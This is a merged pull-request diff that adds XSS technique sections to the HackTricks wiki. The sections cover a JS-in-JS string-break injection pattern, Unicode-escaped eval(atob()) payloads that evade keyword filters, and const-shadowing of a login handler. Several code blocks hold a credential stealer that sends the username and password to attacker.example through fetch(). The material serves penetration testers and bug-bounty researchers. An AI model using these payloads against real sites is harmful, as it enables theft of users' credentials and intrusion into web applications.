Merge pull request #1345 from HackTricks-wiki/update_From__Low-Impact__RXSS_to_Credential_Stealer__A_JS_20250827_063121

From "Low-Impact" RXSS to Credential Stealer A JS-in-JS Walk...
This commit is contained in:
SirBroccoli 2025-08-28 20:02:18 +02:00 committed by GitHub
commit adb6272876
2 changed files with 82 additions and 3 deletions

View File

@ -543,6 +543,25 @@ If `<>` are being sanitised you can still **escape the string** where your input
\';alert(document.domain)//
```
#### JS-in-JS string break → inject → repair pattern
When user input lands inside a quoted JavaScript string (e.g., server-side echo into an inline script), you can terminate the string, inject code, and repair the syntax to keep parsing valid. Generic skeleton:
```
" // end original string
; // safely terminate the statement
<INJECTION> // attacker-controlled JS
; a = " // repair and resume expected string/statement
```
Example URL pattern when the vulnerable parameter is reflected into a JS string:
```
?param=test";<INJECTION>;a="
```
This executes attacker JS without needing to touch HTML context (pure JS-in-JS). Combine with blacklist bypasses below when filters block keywords.
### Template literals \`\`
In order to construct **strings** apart from single and double quotes JS also accepts **backticks** **` `` `** . This is known as template literals as they allow to **embedded JS expressions** using `${ ... }` syntax.\
@ -571,6 +590,25 @@ loop``
<iframe srcdoc="<SCRIPT>alert(1)</iframe>">
```
#### Deliverable payloads with eval(atob()) and scope nuances
To keep URLs shorter and bypass naive keyword filters, you can base64-encode your real logic and evaluate it with `eval(atob('...'))`. If simple keyword filtering blocks identifiers like `alert`, `eval`, or `atob`, use Unicode-escaped identifiers which compile identically in the browser but evade string-matching filters:
```
\u0061\u006C\u0065\u0072\u0074(1) // alert(1)
\u0065\u0076\u0061\u006C(\u0061\u0074\u006F\u0062('BASE64')) // eval(atob('...'))
```
Important scoping nuance: `const`/`let` declared inside `eval()` are block-scoped and do NOT create globals; they wont be accessible to later scripts. Use a dynamically injected `<script>` element to define global, non-rebindable hooks when needed (e.g., to hijack a form handler):
```javascript
var s = document.createElement('script');
s.textContent = "const DoLogin = () => {const pwd = Trim(FormInput.InputPassword.value); const user = Trim(FormInput.InputUtente.value); fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));}";
document.head.appendChild(s);
```
Reference: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval
### Unicode Encode JS execution
```javascript
@ -1513,6 +1551,23 @@ body:username.value+':'+this.value
When any data is introduced in the password field, the username and password is sent to the attackers server, even if the client selects a saved password and don't write anything the credentials will be ex-filtrated.
### Hijack form handlers to exfiltrate credentials (const shadowing)
If a critical handler (e.g., `function DoLogin(){...}`) is declared later in the page, and your payload runs earlier (e.g., via an inline JS-in-JS sink), define a `const` with the same name first to preempt and lock the handler. Later function declarations cannot rebind a `const` name, leaving your hook in control:
```javascript
const DoLogin = () => {
const pwd = Trim(FormInput.InputPassword.value);
const user = Trim(FormInput.InputUtente.value);
fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));
};
```
Notes
- This relies on execution order: your injection must execute before the legitimate declaration.
- If your payload is wrapped in `eval(...)`, `const/let` bindings wont become globals. Use the dynamic `<script>` injection technique from the section “Deliverable payloads with eval(atob()) and scope nuances” to ensure a true global, non-rebindable binding.
- When keyword filters block code, combine with Unicode-escaped identifiers or `eval(atob('...'))` delivery, as shown above.
### Keylogger
Just searching in github I found a few different ones:
@ -1792,4 +1847,9 @@ other-js-tricks.md
- [https://netsec.expert/2020/02/01/xss-in-2020.html](https://netsec.expert/2020/02/01/xss-in-2020.html)
- [https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide](https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide)
## References
- [From "Low-Impact" RXSS to Credential Stealer: A JS-in-JS Walkthrough](https://r3verii.github.io/bugbounty/2025/08/25/rxss-credential-stealer.html)
- [MDN eval()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -130,15 +130,34 @@ let config;` -
},
})
}
trigger()
```
### Preempt later declarations by locking a name with const
If you can execute before a top-level `function foo(){...}` is parsed, declaring a lexical binding with the same name (e.g., `const foo = ...`) will prevent the later function declaration from rebinding that identifier. This can be abused in RXSS to hijack critical handlers defined later in the page:
```javascript
// Malicious code runs first (e.g., earlier inline <script>)
const DoLogin = () => {
const pwd = Trim(FormInput.InputPassword.value)
const user = Trim(FormInput.InputUtente.value)
fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd))
}
// Later, the legitimate page tries to declare:
function DoLogin(){ /* ... */ } // cannot override the existing const binding
```
Notes
- This relies on execution order and global (top-level) scope.
- If your payload is executed inside `eval()`, remember that `const/let` inside `eval` are block-scoped and wont create global bindings. Inject a new `<script>` element with the code to establish a true global `const`.
## References
- [https://jlajara.gitlab.io/Javascript_Hoisting_in_XSS_Scenarios](https://jlajara.gitlab.io/Javascript_Hoisting_in_XSS_Scenarios)
- [https://developer.mozilla.org/en-US/docs/Glossary/Hoisting](https://developer.mozilla.org/en-US/docs/Glossary/Hoisting)
- [https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/](https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/)
- [From "Low-Impact" RXSS to Credential Stealer: A JS-in-JS Walkthrough](https://r3verii.github.io/bugbounty/2025/08/25/rxss-credential-stealer.html)
{{#include ../../banners/hacktricks-training.md}}